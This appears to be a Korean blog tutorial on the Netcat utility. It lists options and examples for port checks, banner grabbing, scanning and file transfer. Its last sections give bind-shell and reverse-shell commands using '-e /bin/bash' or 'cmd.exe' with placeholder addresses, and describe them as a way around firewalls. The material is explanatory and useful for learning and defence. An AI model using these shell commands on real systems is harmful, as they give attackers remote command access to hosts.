※ 주의사항 :
악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.
( 1 ) 설명
Netcat 은 TCP 나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 유틸리티 프로그램임.
일반적으로 UNIX 의 cat 명령어와 비슷한 사용법을 가지고 잇지만 cat 명령어를 통해 파일에 쓰거나 읽듯이 Netcat 툴은 네트워크에 읽거나 쓸 수 있음.
이것은 스크립트와 병용하여 네트워크에 대한 디버깅, 테스트 툴로써 매우 편리하고 원하는 포트로 원하는 데이터를 주고 받을 수 있는 특징 때문에 악의적으로 사용할 수 있음.
또한, 컴퓨터 포렌식에 있어서 라이브 시스템의 데이터를 손상없이 가져오기 위해서도 사용될 수 있음.
원하는 거의 모든 종류의 접속 형태를 만들어 낼 수 있고 흥미로운 몇 가지 내장 기능을 가지고 있기 때문에 다기능의 네트워크 문제해결 및 조사 시에 유용하게 사용 가능함.
윈도우 다운로드 : http://eternallybored.org/misc/netcat/
리눅스 다운로드 : https://sourceforge.net/projects/nc110/
참고로 SANS 에서 제공하는 Netcat Cheat Sheet 파일은 아래 링크에서 다운받으세요.
https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
( 2 ) 사용법
※ 아래 옵션은 netcat-win32-1.12 버전을 기준으로 정리함.
어딘가에 연결 시 : nc [-options] hostname port[s] [ports] ...
인바운드 수신 대기 시 : nc -l -p port [options] [hostname] [port]
옵션 :
-d 콘솔에서 분리되어 백그라운드 모드로 실행
-e prog 커넥션(Connection)이 이루어졌을 때 후 프로그램을 실행함 (위험!)
-g gateway source-routing hop point[s]를 8씩 증가
-G num source-routing point를 4, 8, 12 .. 4씩 증가
-h 도움말
-i secs 스캔된 포트로 전송된 회선의 지연 간격
-l 인바운드 커넥션을 위해서 listen 모드로 실행
-L 소켓 종료 시 재전송 실행
-n IP 주소 입력 (DNS 을 사용하지 않음)
-o file 주고받은 데이터를 헥스 덤프(Hex Dump)하여 파일로 저장함
-p port 로컬 포트를 지정함
-r 로컬 이나 원격 포트를 임의로 지정함
-s addr 로컬 출발지 주소를 지정함
-t Telnet 과 같은 협상 과정을 거치도록 설정함
-c LF 대신 CRLF 를 보냄
-u UDP 모드
-v 자세한 설명 모드 (더 자세한 정보를 표시하기 위해 두 번 사용)
-w secs 마지막으로 읽고 난 후 종료할 시간을 정함
-z zero-I/O 모드 (스캔 시 사용)
참고로 포트 범위는 개별 또는 범위(m-n)일 수 있음.
( 3 ) 사용예
1. 특정 포트에 대한 연결 수립
원격 IP 의 특정 포트로 연결하여 Open 되어 있는 여부를 확인함.
nc [IP] [Port]
2. 서비스 배너 수집
다양한 서비스를 대상으로 그대로 사용할 수 있음.
하지만 HTTP 서비스는 HTTP 헤더 양식을 전송해줘야 함.
(윈도우에서는 잘 안 됨. ㅠㅠ)
echo -e "HEAD / HTTP/1.0\n\n" | nc [IP] 80
3. 포트 스캐닝
TCP 프로토콜을 사용하여 특정 포트나 포트 범위를 스캔함.
(보다 정확한 결과값을 원한다면 nmap 을 사용할 것!)
nc -n -v -z -w 1 [IP] [포트 범위]
4. 파일 전송
클라이언트(윈도우) -> 서버(Kali Linux)로 파일 전송
클라이언트
nc -w3 [IP] [Port] < [파일명]
서버
nc -l -p [Port] > [파일명]
서버(Kali Linux) -> 클라이언트(윈도우)로 파일 전송
클라이언트
nc -w3 [IP] [Port] > [파일명]
서버
nc -l -p [Port] < [파일명]
5. 백도어 쉘 (Backdoor Shell)
Netcat 툴을 이용한 백도어 쉘의 기본 매커니즘은 특정 포트(-p)에서 listen 모드(-l)로 실행하여 연결 수립 시 특정 쉘을 실행(-e)하도록 옵션을 지정하는 방식임.
리눅스 환경(서버)에서 백도어 쉘
nc -l -p [로컬 포트] -e /bin/bash
윈도우 환경(서버)에서 백도어 쉘
nc -l -p [로컬 포트] -e cmd.exe
위 스샷에서 서버(Kali Linux) 측 쉘에 접속 후 명령어 뒤에 세미콜론 문자(;)를 덧붙여야 함.
(사용하는 클라이언트 마다 다를 수 있음)
6. 리버스 쉘 (Reverse Shell)
Netcat 툴을 이용한 백도어 쉘의 기본 매커니즘은 백도어 쉘과는 반대로 보통 서버 앞단에 방화벽을 우회하기 위해서 리버스 쉘을 이용함.
방화벽에서 허용된 나가는 포트를 이용하여 클라이언트 측에서 쉘을 실행시킨 후 서버 측에서 접속함.
리눅스 환경(서버)에서 리버스 쉘
nc [자신의 IP 주소] [포트] -e /bin/bash
윈도우 환경(서버)에서 리버스 쉘
nc -l -p [로컬 포트] -e cmd.exe
nc [자신의 IP 주소] [포트] -e cmd.exe
============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.
댓글 없음:
댓글 쓰기